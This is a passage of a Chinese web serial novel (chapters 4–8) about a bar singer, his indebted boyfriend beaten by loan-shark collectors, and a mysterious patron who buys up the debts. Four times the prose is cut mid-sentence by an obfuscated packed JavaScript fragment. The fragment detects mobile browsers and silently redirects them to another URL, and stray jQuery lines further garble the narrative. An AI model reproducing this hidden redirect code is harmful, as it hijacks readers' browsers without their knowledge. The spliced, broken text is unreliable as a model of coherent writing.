能说什么呢,以沈白的性格,他要真能狠下心在这种时候对周牧云弃之不顾,那他也就不是康小言所认识的沈白了。 唉,这都造的什么孽。 * 随着夜幕降临,酒吧里的人也开始逐渐变得多了起来。 因为是周末的缘故,还不到八点,一楼的位置几乎已经坐满了,就连二楼的包厢也已经被预定了个七七八八。 不过比起这些,真正让人比较在意的是,平时常年空着的三楼的高级包厢里的灯今天居然是亮着的。 从酒吧开业起,三楼的那间房基本不会对外开放,之前有个富二代觉得好奇,豪掷几十万都没能让老板松口放他上去。 有传言说那间房是老板自留的专属包厢,但只有酒吧的工作人员才知道,即便是老板轻易也不会上三楼。 康小言之前好奇心爆棚,半开玩笑半是认真的问过老板,三楼的包厢到底是给谁准备的,搞得这么神秘,该不会是打算用来金屋藏娇吧? 皮这一下的结果就是康小言后脑勺结结实实挨了一个大巴掌,脑瓜子嗡嗡的。 不过后来有次大家一起喝酒,老板喝多说漏嘴了,大家这才知道,原来这家酒吧除了老板以外,还有个从来没有在公开场合露过面的合伙人。 提起这个神秘合伙人,老板那是一把鼻涕一把泪的,哭诉自己那会儿因为犯浑被家里老头子一脚踹出家门,要不是跟人合伙开了这家酒吧,他估计早就撑不下去,灰溜溜滚回去跟家里人低头了。 虽然醉酒的老板说话颠三倒四的,不过那顿酒之后,大家都知道酒吧三楼那间从不对外开放的包厢原来是老板给合伙人留的。 康小言今儿一直在想沈白和周牧云的事情,所以根本没注意到三楼包厢的灯是什么时候亮起来的。 服务生小杨拎着托盘兴冲冲走到吧台,伸手敲了敲桌面,开口冲康小言道:“小言,你猜我刚才去哪儿了?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691304|173361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 康小言正为沈白的事头疼呢,没心情陪他玩你猜我猜不猜的游戏,随口敷衍道:“去楼上送酒了是吧,挺好的,要是运气好没准儿能拿到小费。” “是上楼了,但不是二楼。”小杨看出了他的敷衍,也不恼,压低声音神秘兮兮道,“我刚去了三楼,该说不说咱们老板真是下血本了,楼上那装修真是绝了。” “就这么说吧,但凡咱老板愿意按照三楼那个装修标准把下面重装一下,咱们市高端酒吧哪儿还有隔壁‘暗巷’什么事儿。” 康小言愣了下,道:“啥,你说你上几楼?” 他下意识朝着楼上看去,虽然楼上拉着窗帘,但仔细看的话还是能看到有光从缝隙漏出来。 小杨伸手比了个三,不过像是知道康小言想问什么,小杨赶在他没问出口前先一步道:“但我连包厢的门都没进去,所以你别问我人家长什么样啊,我不知道。” 康小言挑眉,“这么神秘?人什么时候来的,来的时候你看到了吗?” “没,”小杨耸了耸肩,“我来上班的时候人好像就已经在上面了,老板也在上面陪着呢,估计早就来了,还是老板亲自带来的。” “咦,老板今天在店里啊?”康小言更震惊了。 酒吧刚开业的时候老板倒是经常泡在店里,不过后来时间长了,大概是新鲜劲儿过了,老板来的次数也就越来越少,除了大的节假日之外,经常好久都不见人影。 “那可不,我听闫森说今天店门都是老板亲自来开的。”说着,小杨不禁感叹道,“越是神秘越是容易勾起人的好奇心啊。” “刚才我本来想把酒给送进去的,顺便看看老板那位神秘合伙人的庐山真面目,结果才刚走到门口就被人给拦下了。” 康小言:“啊?谁拦你,老板啊?” 小杨闻言,没好气地翻了个白眼,道:“老板拦我干嘛,是守在门口的保镖,保镖知道吗?就电视剧里常演的那种!” 康小言双手托腮,眨巴了一下眼睛,不太配合道:“保镖我是没见过,但我见过保安啊!咱们酒吧不就有俩,跟咱们店那俩保安比起来有啥不一样啊?” “那大高个,看起来起码得有一米九!”小杨回想了一下,啧啧感慨,“人家拦我的时候还挺客气的,不过看他那身段,我感觉他一拳头下去,我可能会原地去世。” “你这形容未免也太夸张了吧!”康小言被他的形容逗笑,随手拉了个凳子坐在那里嘎嘎直乐。 两人正聊着,康小言揣在兜里的手机忽然震了震。 他掏出手机按亮屏幕一看,居然是老板发来的,而且接连发了两三条。 【沈白来了吗,他今天的表演是几点?】——来自老板,二十分钟以前。 【待会儿沈白表演结束,让他先别走,直接上三楼找我。】——来自老板,十三分钟以前。 【算了不用了,你没和他说吧?没说的话就不用说了。】——来自老板,一分钟以前。 5. 第 5 章 第5章 今晚的歌唱到还剩最后两首的时候,沈白的电话响了。 打电话的人是周牧云,但电话接通后,他又什么都不说,只是情绪很崩溃地在哭,无论怎么哄都没有用。 沈白有点担心他想不开,于是跟相熟的驻唱歌手凯文商量了一下,问凯文今天能不能帮他唱两首歌,改天再还他。 凯文当然不会拒绝,驻唱只是他的兼职,他主业是程序员,平时工作挺忙,时不时还会被黑心老板临时要求加班,每当这种时候凯文都会向沈白求救,沈白也几乎从来没有拒绝过他,欠下了不少人情。 好不容易沈白有用得上自己的时候,凯文根本不带犹豫的,非常爽快就答应了。 安排好这些,沈白又给老板发了条短信,说家里突然有点急事,问今天能不能早走一会儿。 三楼的包厢里,老板看了眼手机上沈白的请假短信,顿时有些汗流浃背。这要是搁在平时,老板肯定二话不说就放人了,但怎么偏偏就是今天…… 包厢里的灯光被调得很暗,也正因如此,手机屏幕的光线就分外明显。 坐在老板斜对面,整张脸都隐在昏暗灯光里,看不清面容的男人注意到了他的表情,开口问道,“怎么了?” 男人的声音很好听,但音质偏冷,莫名给人一种冷漠疏离的错觉。 或许也不能算是错觉。 老板额头沁出一层汗,尬笑了两声,道:“也没什么,就是下面好像出了点事,我下去处理一下吧,很快就来。” 男人闻言,将原本握在手里把玩的酒杯放到了桌上,玻璃与大理石碰撞,轻笑道:“什么事情还要劳烦你亲自下去处理。” 此言一出,原本已经起身的老板又坐回去了,轻咳了一声,尴尬道:“其实也没什么,去不去都行。” “就是……那什么,沈白刚跟我说他家里出了点事情,今天想早走一会儿来着。”老板说着,偷偷瞄了眼男人的脸,想从他脸上看出点情绪信号。 但遗憾的是,室内的灯光实在是太暗了,老板什么都没看出来就是了。 老板等了一会儿,见男人没说话,试探性地开口道:“沈白平时很少请假的,以前也几乎没有早退过,这次既然开口了,估计是家里真出什么事儿了,要不今天就让他先走?” “他是你的员工,放不放人当然是你说了算。”男人轻飘飘道。 话是这么说,但老板可不敢当真,一时间有些捉摸不透他的心思,老板终究是不敢吐口放人。 包厢内陷入死一般的寂静,男人朝着窗外看去,舞台上早已经换了个人,他的视线从人群中扫过,最终停在了坐在吧台旁边不知道正在和谁打电话的沈白身上。 沈白原本是在等老板批假,但没等来老板的回复,倒是先等来了周牧云的电话。 周牧云又打电话过来了,他的情绪听上去比几分钟前更加崩溃,沈白试图安抚他的情绪,但显然现在这个状态下的周牧云根本听不进任何话。 “哥,你昨天是不是想跟我分手?我不同意,我不想分手,我是做错了事情,但我也不想这样的啊,我只是想赚钱,我只是想帮你分担一点压力,我真的不知道事情会变成这样啊!” 周牧云情绪极为不稳定,边哭边对着电话肆意发泄着情绪。 沈白叹了口气,声音听上去有些无奈。 “小云,事情既然已经发生了,再去追究对错已经没有任何意义,你先冷静下来,等我回去,我们一起想办法看看怎么解决,可以吗?” “解决?”周牧云却根本听不进去,他戚戚然惨笑道:“欠了这么多钱,要怎么解决?根本就解决不了啊,我觉得这件事情,可能只有我死了才能解决吧。” “但我不想死啊,哥,我才二十四岁,我还年轻,我还有好多事情都没有做,我还想跟你长长久久,我不想死啊!!” “我不想这样的,哥你帮帮我,你帮帮我好吗!” 沈白刚想说什么,但电话却被周牧云给挂断了,再打过去,周牧云的电话已经关机了。 沈白又看了眼自己发给老板的请假短信,一直没有得到回复,他想了想,索性直接打电话过去。 三楼包厢里,老板看着屏幕上沈白的电话,心里着实有点不落忍,两人认识这么久以来,他还是头一次见沈白这么着急,所以犹犹豫豫还是忍不住开口想替他说两句。 “要不今天就……” “今天就到这吧。” 老板的话还没说完,却被男人先一步开口打断了。 隐在昏暗灯光中的男人伸出手,拿起桌上的酒杯,将杯里的酒一饮而尽后,起身离开了。 * 沈白赶回家,发现家里的防盗门居然是虚掩着的,这让他的心不由自主往下沉了沉。 他推门进屋,刚进去就发现家里情况有些复杂。 几个彪形壮汉大剌剌坐在沙发上抽烟,看到沈白回来了,其中一个光头还挺友善,开口主动跟他打了个招呼。 “这个点才回来啊,哥们。” 家里多出几个看上去就来者不善的陌生人,要搁普通人身上此时估计早就慌了,但沈白没有,他还挺冷静的,甚至已经猜出这些人是来干什么的了。 沈白也不跟他们绕弯子,开口道:“周牧云呢?” “周牧云啊?”光头重复了一遍周牧云的名字,用胳膊撞了撞旁边的人,乐呵呵道,“问你话呢,人呢?刚不是还在这里吗,跑哪儿去啦?” 他身边的黄毛闻言,伸手将燃烧了一半的烟蒂在沙发扶手上碾灭,嬉皮笑脸答道:“不知道啊,估计尿急,在厕所尿尿呢吧,毕竟刚才喝了那么多水。” 得到了答案的光头冲沈白咧嘴,呲着一口大白牙,道:“听到了吗,估摸着应该在厕所呢。” 沈白没跟他们磨嘴皮,直接朝着洗手间走去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691305|173361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但他很快就发现洗手间的门是锁着的。 “你们锁的?”沈白问。 此言一出,坐在沙发上悠闲抽烟的光头顿时就不乐意了,收了脸上的笑,声音也冷了下来:“怎么说话呢哥们。” 他起身走到了卫生间门口,转动了下门把,确实打不开,于是伸手在厕所门上敲了敲,语气不耐烦道:“周总,开门啊,躲在里面干什么呢,不知道的还以为我们欺负你了呢,赶紧出来跟你朋友解释解释。” 话音落下,厕所里传出了窸窸窣窣的声音,里面确实有人,但洗手间的门却迟迟没有打开。 等了几分钟,光头的耐心告罄,冲沈白咧嘴笑了笑,下一秒只听“砰”的一声巨响,洗手间的门上被踹出了一个大洞。 眼看光头还要再踹,沈白忍无可忍,伸手按住他的手臂,直接将光头的头怼在了门上,让他动弹不得。 行家一出手,就知有没有。 被制住的光头居然没有生气,反倒呵呵笑了两声,不紧不慢道:“哎呀,这怎么说动手就动手,刚才不是还好好的吗?现在法治社会,动手前先想想后果啊,万一我真有个什么三长两短的,只怕是旧债没清又添新债啊。” 沈白松开手,淡淡道:“看不出来你还懂法,既然懂法,那你知不知道你们今天的行为已经构成犯罪了,非法入侵,我现在就可以报警。” 光头揉了揉自己的肩膀,笑眯眯道:“这话说得可真难听啊,怎么就非法入侵了呢,我们今天可是受邀来你家做客的,是客人啊!” 说着,光头将手从窟窿里伸进去,把洗手间的门打开,对着里面早已经被吓破胆,面色惨白的周牧云咧嘴笑了笑,语气很是委屈道:“快,周总赶紧帮我们跟你朋友解释解释,跟他说说,今天是不是你邀请我们,我们才过来的啊?” 周牧云整个人都像是被从水里捞出来的一样,头发、衣服裤子,浑身上下都是湿的,看上去好不狼狈。 可即便如此,听到光头的话,周牧云还是条件反射般的点头,那张满是恐惧的脸上硬生生挤出了一个讨好的笑容,低声道:“是、是、是……” 光头对他的反应却并不满意,掏了掏耳朵,上前两步,伸手抓起周牧云的头发,也不嫌脏,贴着他的脸,道:“说什么呢,声音太小了,我耳朵不好使,都听不清楚周总在说什么,来,大点声,免得你朋友也听不清。” 周牧云又开始掉泪了,他头皮被扯得很疼,却不敢叫痛,更不敢抬头去看沈白的表情,他闭着眼,咬牙提高音量,大声道:“是我,是我请他们来的!!” 听到这话的光头开心了,冲沈白咧嘴一笑,露出一口大白牙。 “这回听清楚了吗,以貌取人可不是什么好习惯,哥几个虽然长得有点凶,但我们可都是正经人生意人,遵纪守法,从来不干违法犯罪的事。” “欠债还钱,天经地义,哥们你自己说说,是不是这个理儿?” 6. 第 6 章 第6章 沈白眯着眼睛看向光头,而光头也完全没有闪躲,那双狭长的小眼睛里满是戏谑与明晃晃的挑衅。 “你们今天过来的目的,就是为了折腾人?”沈白开口问。 光头听懂了他话里的意思,嗤笑一声,放开了揪着周牧云头发的手。 猝不及防失去支撑的周牧云在光头松手的那个瞬间,由于惯性,脑袋重重砸在了地板上,发出“砰”的一声闷响。 沈白觉得眼前发生的一切都很荒诞。 周牧云的衣服被水打湿,依稀可见衣服下面相当骇人的青青紫紫的伤痕,新的旧的,这些周牧云从来没跟他说过。 平时在他面前连手指不小心擦破点皮都要喊疼的周牧云,被暴力催收,挨了打也愣是咬牙一声没吭,半点没有平时在他面前时的娇气模样。 有那么一瞬间,沈白觉得有些割裂。眼前这个满脸麻木的周牧云,真的是他所认识的,跟自己朝夕相处了多年的那个人吗? 沈白弯下腰,将地上的人扶起来,脱下自己的外套披在了周牧云身上。 原本满脸麻木的周牧云感觉到身上传来的暖意,抬起头看向沈白,眼睛蓦地红了,他声音听上去有些嘶哑,完全没有了平日的活泼。 周牧云这次没再说什么让沈白帮帮他之类的话,只是攥紧了沈白的衣服,低声道:“哥,你别管我了,你走吧。” 说完这句话,周牧云看向一旁双手抱臂斜倚在门口看戏的光头,鼓起勇气道:“债是我欠的,跟我哥没关系,你们让他走吧,别为难他。” 光头却好像听到了什么搞笑的事情,往前走了两步,伸手就准备扯周牧云的脸,不过这次他没得逞,手伸到一半就被沈白给攥住了。 光头挣了挣,但沈白手劲很大,两人无声对峙,他的手不断收紧,捏得光头脸上再也挂不住笑意。 僵持数十秒之后,光头举另一只手双手比了个投降的姿势,“行行行,我不动手,咱们好好谈,行吧?” 沈白松手,光头立刻揉了揉被捏到生疼的手腕,语气也沉了下来。 “债是你欠的不假,但你现在有还款能力吗?我今天是来要债,不是来找事的,你要是能老老实实还钱,还用受这罪吗?” 光头说着,从怀里掏出了一沓子纸,在里面挑挑拣拣,最终拿出其中一份,举到了沈白和周牧云面前。 “看一看,是你自己签的名吧,这手印跟你自己的也对得上吧?” 看到那张写着自己名字的借条,周牧云原本好不容易挺起的脊梁又弯了下去,他嘴唇止不住的发抖,喃喃道:“我、我是被骗的,我……” “说什么呢,你明明就是自愿的,谁骗你了?我这可是有当时你借钱那会儿的完整录像,你可不要血口喷人啊。”光头脸上笑意一敛。 他从兜里摸出手机,慢吞吞在手机上划拉了一会儿,找出了一个视频按下播放后,将手机递到了沈白面前,“来,这是你哥吧,让你哥看看,你当时是不是自愿——” 光头话没说完,原本还有些呆滞的周牧云不知道受了什么刺激,猛地从地上蹿起来,抓过光头的手机,用力砸在了地上。 谁都没想到他会突然搞这么一出,别说光头了,就连沈白也完全没反应过来。 回过神的光头爆了句粗口,一脚将周牧云踹倒在了地上,狠狠啐了一口,冲外面喊道:“真以为让你们到这玩手机来了?干活了,都是死人吗?!” 话音刚落,原本坐在客厅的几个黄毛不敢怠慢,从沙发上跳起来气势汹汹便往这边赶。 沈白反应过来后眼疾手快的将被光头踹出个洞的洗手间门给关上,赶在那几个黄毛冲进来之前,对光头道,“不好意思,手机多少钱,我现在转给你。” 光头盯着他看了几秒,脸上余怒未消,嗤笑道:“手机才值几个钱,你要真想替他出头,那就替他还钱啊,只要拿到钱,我们马上就走。” 可沈白所有的积蓄都已经转给周牧云了,这么短的时间里,他就算再能耐也不可能凭空变出钱来替周牧云还债啊。 更何况,周牧云欠的也根本不是几万,十几万的小数目,那是将近六七百万的债务。 但沈白也清楚,光头这行人来者不善,看他们这架势,今天拿不到钱肯定是不可能会善罢甘休的,所以沈白想了想,从兜里拿了张卡,递到了光头面前。 光头没接,语气狐疑:“干什么,该不会是随便拿张没用的废卡糊弄我吧?我可不要。” 沈白有些无奈,但还是很好脾气地解释道:“这是我工资卡。” “我要你工资卡有什么用?”光头明显没理解沈白的意思,挑了挑眉,有些不确定道,“你该不会打算用这卡来替他还账吧?” 见沈白不语,光头伸脚踢了踢旁边抱着肚子呻-吟的周牧云,好笑道:“你没跟你哥说你欠了多少钱吗?” “欠别人的我不管,光是我这儿,他就欠了三百五十万。” 光头看向沈白,嬉皮笑脸道:“哥们,你算过没有,按你赚钱的速度,累死之前能不能替他把账给清了?” 沈白叹了口气,问道:“有烟吗?” 光头愣了下,下意识摸了摸口袋,没有。恰在这时,守在门外的几个小黄毛用力踹门发出咚咚咚的闷响,嘴里还不干不净地叫嚣着让沈白开门。 光头眉头一皱,提高音量冲门口喊道:“吵什么吵,行了,大半夜的消停点!” 挨了训的小弟:??? 不是大哥,你刚可不是这么说的啊。 但不管怎么说,老大发话了,他们做小弟的也只有听着的命,顿时也不敢再吵嚷了,有个胆子比较大的小弟小声问了句,“爽哥,你没事吧,那孙子没对你怎么样吧?” 光头翻了个白眼,道:“成天问点那没用的屁话,老子要真遇到点什么事,等你们反应过来,老子尸体都他妈凉半天了。” 小弟被骂了个灰头土脸,也不敢反驳,蔫了吧唧应道:“噢,那爽哥我们在外面等你啊。” “等会儿,先别走。”光头将手从洗手间那被踹出的窟窿里伸出去,道,“递包烟进来。” 小弟:??? 小弟听不懂,但小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691306|173361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟听话,赶紧奔向客厅拿了包烟,撕开包装递了进去。 光头拿到后一看,忍了又忍还是没忍住,骂道:“要烟就光递烟,没有打火机是想让老子钻木取火吗?一天天光长个子不长脑子!” 几秒后,窟窿里颤颤巍巍伸出一只手,手里夹着一只打火机。 “行了,滚吧。”光头没好气道。 得了命令的小弟们一看没挨骂,如释重负般的作鸟兽散了。 光头给自己点了根,伸手敲了敲烟盒底部,弹出来一根,递到了沈白面前。 沈白也没跟他客气,接过烟靠在墙边慢吞吞抽了一口。 洗手间面积不大,又没开换气扇,两个人一起抽烟,不消片刻烟雾便弥漫了整间屋子。 光头手里的烟快要燃尽的时候,他的耐心也差不多告罄了,就在他准备开口时,沈白比他先一步开口了。 “卡算我押给你的,这张卡上每个月有四万块钱进账,差不多一年能还四十万左右。” “周牧云欠你的三百五十万,利息按每年最高合法利率算,连本带利,这笔钱我替他还,卡押你那儿,直到还清为止,你看行吗。” 光头看着面前又一次被递过来的那张卡,思索几秒,道:“哥们,你真要替他还钱?我可以同意你慢慢还,但利率得按借条上的走。” 沈白摇了摇头,道:“他什么情况你也看到了,没有稳定工作,没有房没有车,也没有亲戚朋友给他兜底,像我这样的冤大头,估摸着你是难找到第二个了。” “他对我有恩,我得还。”沈白抽完了最后一口烟,用猩红的烟头碾灭在洗手池上,缓缓道,“但你要真把他逼死了,那对我来说,也算是一种解脱了。” 光头仔细琢磨了一下沈白话里的意思,权衡利弊之后,冲他笑了笑。 “你的意思我明白了,但这钱不是小数目,我也只是替人办事,做不了主。”说着,光头拿着沈白给的那张卡,晃了晃,道:“卡我先收下了,你的意思我会帮你转达的。” “那今天就先到这儿,这么晚了,我们也不好再打扰。” 光头收下了沈白给的那张卡,今天这趟也算是没有白来,他招呼着自己的小弟离开,临走前,经过周牧云身边时,光头抬脚踢了踢他。 “虽然你是个烂人,但没想到运气还挺好的。” 周牧云蜷缩在地上,听到这句话之后,身体不受控制地抽动了几下,发出了一声哽咽。 光头带着人离开之后,沈白将周牧云从地上扶起来,放到了客厅的沙发上,从柜子里给他拿了一套干净的衣服,放在了他手边。 他没有试图和周牧云交谈,只是把衬衫的袖扣解开,将袖子卷到了小臂上,随后沉默地开始收拾起满地狼藉的屋子。 沉默滋生恐惧,周牧云看着沈白的背影,有些仓皇地喊道:“哥!” 沈白没有如往常那样回头,他的声音有些沙哑,夹杂着说不清的疲惫。 “你的债,我帮你还一半。等这笔钱还清之后,我也就不欠你什么了。” “小云,我们分手吧。” 7. 第 7 章 第7章 光头带着小弟从沈白家出来,刚拉开车门,都还没来得及坐下呢,就听身后的小弟有些紧张的叫了一声。 “爽哥,爽哥,爽哥!” 光头扭过头没好气道:“喊喊喊,咱俩就这么点距离,喊一声我还能听不到吗!” 被骂了的小弟根本不敢反驳,只将亮着的手机屏幕举到了光头面前,小声道:“爽哥,你看这是不是宋先生的电话?” 不怪小弟反应这么大,因为在此之前,宋先生一直是和他们老大直接联系的,像他这种小啰啰,还是头一次接到这种大人物的电话。 光头看了眼手机上跳动的那串数字,将没骂完的话生生憋了回去,他下意识伸手摸了摸裤兜,却什么也没摸到,这才想起来自己的手机刚才被周牧云那小王八犊子给摔了。 光头低声骂了句晦气,从小弟手中拿过电话,深吸了一口气,这才按下了接通键。 这通电话只持续了不到五分钟,小弟们完全不知道两人聊了些什么,只知道电话挂掉之后,自家老大看上去脸色挺难看的。 感觉到了低气压的几个小弟面面相觑,愣是没有一个人敢上前,只敢小心翼翼观察自家大哥的脸色。 陈爽本来就心烦,看到他们这畏畏缩缩的模样顿时心里更加窝火,开口时语气自然也好不到哪儿去。 “看看看,站那么远能看清吗,要不凑近点,来我面前看!” 知道他这会儿心情不好,小弟们噤若寒蝉,一个个活似被老鹰盯上的小鸡崽,下意识往一堆儿凑,好似这样就能得到些许安全感似的。 看他们那怂样儿,陈爽只觉得气不打一处来,不过他现在还要紧事要办,所以到底是没再训斥他们。 将钥匙抛给一个比较机灵的小弟,陈爽道:“六子,你来开车。” 被称作六子的小弟手忙脚乱接过钥匙,拉开车门一屁股坐进了驾驶位,给车子打着火,随后小心翼翼问了句:“爽哥,咱去哪儿?” 陈爽眉心跳了跳,刚想开喷,话到嘴边却想起来自己好像确实没说目的地,顿时有点理亏,于是将骂人的话咽了回去,报了个地址给他。 没挨骂,六子悄咪咪在心里给自己点了个赞,但面上不敢显露分毫,表情严肃的松开手刹,准备开车。 不料他才刚放下手刹,车后的门被人拉开了,剩下的几个小弟对陈爽露出一个讨好的笑,手忙脚乱挤了进来。 看他们在后座挤成一团,眼看就要为争抢谁坐在窗户边的位置打起来时,陈爽终于忍无可忍,抽出绑在副驾上的腰枕,扭过身挨个把后排的四个小弟锤了个遍。 挨了打的小弟们立刻老实了,一个个安静如鸡的窝在后排。 陈爽还没消气,撸了把自己的光头,骂骂咧咧道:“滚下去,今天自己想办法回去!” 屁股都还没坐热的小弟们灰头土脸的下了车,最后一个下车的小黄毛关车门的时候,挤出了一个讨好的笑,试探着问道:“爽哥,我们打车回去,路费能报销……” 话没说完脑壳上又挨了几下,小黄毛被锤得眼冒金星,抱着脑壳嗷嗷直叫。 “打车?打个屁的车,扫共享单车回去!” * 六子把车停稳,见陈爽躺在副驾上闭着眼,像是睡着了,一时间有点陷入两难境地,不知道该不该叫醒他。 好在没等六子纠结出个所以然,陈爽揣在兜里的手机响了起来。这手机当然不是他自己的,而是直接拿了小弟的。 陈爽看了眼手机上的号码,无意识打了个激灵,脸上的倦意也随之一扫而空,他伸手在自己脸上拍了两下,又清了清嗓子,确定自己的声音听不出困意后,这才接起了电话。 电话接通后,那边不知道说了些什么,陈爽想都没想就一叠声应下了,脸上再不见刚才面对小弟时的暴躁,而是笑出了一脸褶子。 “宋先生,我已经到楼下了,现在就上去!”陈爽一手拿电话,一手拉开车门,下车后冲小弟摆了摆手,示意他可以先走了。 六子其实挺想留下来的,不过老大都发话了,他要是敢唱反调,后果不用想就知道吃不了兜着走。 陈爽深吸了一口,刚准备伸手开门,面前的那扇铁门下一秒却自己打开了。 门后站着一个看上去大约三十出头,面容斯文俊秀的年轻男人,他冲陈爽礼貌笑了笑,比了个“请”的手势,引着他往院子里走去。 年轻男人带他穿过院落,走过长长的连廊,最终停在了一扇门前。 “宋先生在里面等您。” 陈爽赶紧整理了下衣服,临到进门前还是觉得有点发憷,忍不住低声道:“哥们,我身上没有什么不妥的地方吧?” 年轻男人冲他笑了笑,没有回答。 没得到回答的陈爽尴尬的笑了两声,深吸了一口气,咬牙推门走了进去。 陈爽进去的时候,宋清辉手里面端着个漂亮的酒瓶,正在往杯子里倒酒,听到门口的声响,他抬起头,与陈爽的视线撞了个正着。 宋清辉将手里的酒瓶放在了桌上,拉开椅子,对陈爽道:“坐。” 陈爽哪儿敢坐,他挠了挠自己的大光头,憨厚地笑了两声,道:“不了不了,您坐,我站着就行,今天坐了一整晚,坐得我屁股疼。” 话刚出口,陈爽就觉得不妥,心里有些后悔,真是平时跟那群兔崽子们厮混惯了,嘴里没个把门的,这么糙的话也敢当着宋先生的面说。 宋清辉却没在意这些,他抬手将酒杯推到了陈爽面前,开口道:“你见到他了。” 陈爽愣了下,不过很快反应过来他口中的“他”指得是沈白,立刻答道:“见到了,沈先生……人挺好的。” 其实陈爽原本是想说“挺傻的”,但这次他总算学聪明了,话到嘴边便觉不妥,及时改了回来。 这话倒也不算是违心话。 陈爽吃得就是放贷要债这碗饭,他入行时间不短,形形色色什么样的人没见过。 只要涉及到债,几乎没有人不避之不及的。 因为债务纠纷,亲友反目,甚至于就连亲生父母在得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691307|173361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知自己的孩子在外面欠下巨债后,当场跟孩子断绝关系,划清界限,直接将人赶出家门的事情,刘爽也见多了。 唯独没见过像沈白这种的,男朋友瞒着他在外面欠下巨债,听说还将两人的积蓄也挥霍一空,都这样了,沈白居然还愿意帮他那小男朋友还债,真是…… 这种行为说好听点是人好,说难听点,这不就是大冤种吗。 陈爽说完,像是突然想起什么,伸手在裤兜里摸了半天,终于摸出了一张卡片,他将那张卡推到了宋清辉面前,道:“这是沈先生今天押给我的。” “他说要帮周牧云还债,每个月会往这张卡上打四万块钱,直到还清为止。” “不过……”陈爽犹豫了一下,还是如实道,“沈先生说,利息方面不会按照借条上写得那个利率走。” 宋清辉静静听着,情绪没有什么太大波动,只是问:“他想怎么还?” 陈爽将沈白今晚提出的利率计算方式说给了宋清辉听,说完,陈爽小心翼翼打量着他的表情,见对方似乎没有生气,这才继续道:“我没当场答应,只说我做不了主,得回去商量之后才能给他答复。” “答应他。”宋清辉道。 爽快的让陈爽忍不住咂舌。 宋清辉手指轻轻敲打着桌面,许久后,开口道:“除了你从侯三那里收来的三百五十万,周牧云剩下的债权在谁手里?” 陈爽挠了挠头,道:“他欠得太多,而且有点散,债主多,什么三下九流的都有,不过大头除了我从侯三手里的收来的,剩下的有二百多万好像在吴大头手里,至于其他零零散散的,我已经让人去查了,暂时还没拿到完整的名单。” “其实今天我原本没打算上门找周牧云的,我是在门口看到吴大头的人了,吴大头就是个莽夫,他手底下的人也继承了他的行事风格,粗鲁,下手没个轻重的,我担心他们上门会把人给打坏了,这才先一步上门堵周牧云的。” 这话说得挺漂亮,变相跟宋清辉解释了自己今天晚上为什么会上门要债。 虽然宋先生并没有对他今晚的行为表现出什么不满,但出于对危险本能的直觉,陈爽思虑再三,还是替自己解释了一下,也算是间接跟宋清辉表了个衷心。 话音落下后,陈爽听到宋清辉似乎笑了,心里那块悬着的石头这才落了地。 看来他赌对了。 陈爽这边才刚准备松口气,一低头,忽然发现手边多出了一个信封。 “你是聪明人,我喜欢跟聪明人打交道。” “我给你三天时间,不管你用什么办法,三天后我要你把周牧云所有的债权拿到手里。” 听到这话,陈爽谨慎的拆开信封,发现信封里面静静躺着一张支票。 陈爽什么都没说,也什么都没问,干脆利索的冲宋清辉鞠了个躬,神色郑重道:“宋先生,您放心,我一定办到。” 他离开后,宋清辉拿起桌上那张陈爽留下的银行卡,手指轻轻摩挲着卡片底部那串凸起的数字,低垂着眼睫,不知道在想些什么。 8. 第 8 章 第8章 沈白解开自己的拳击手套,冲不远处正在训练的小萝卜头们拍了拍手。 “集合!” 听到他声音,原本散落在拳馆各处的小萝卜头纷纷朝着他所在的位置集中了过来,不一会儿的功夫,沈白面前便站了一排身高只刚刚到他膝盖的小萝卜头。 沈白让他们排好队伍,拉过墙边的装备筐,弯下腰半蹲在地上,开始挨个帮这群小朋友脱掉身上的护具。 直到将最后一个小朋友身上的护具也脱下收进装备筐里,沈白这才直起身,冲他们道:“今天的课程就上到这里,解散!” “教练再见!”得了解散指令的小萝卜头们奶声奶气冲沈白喊道。 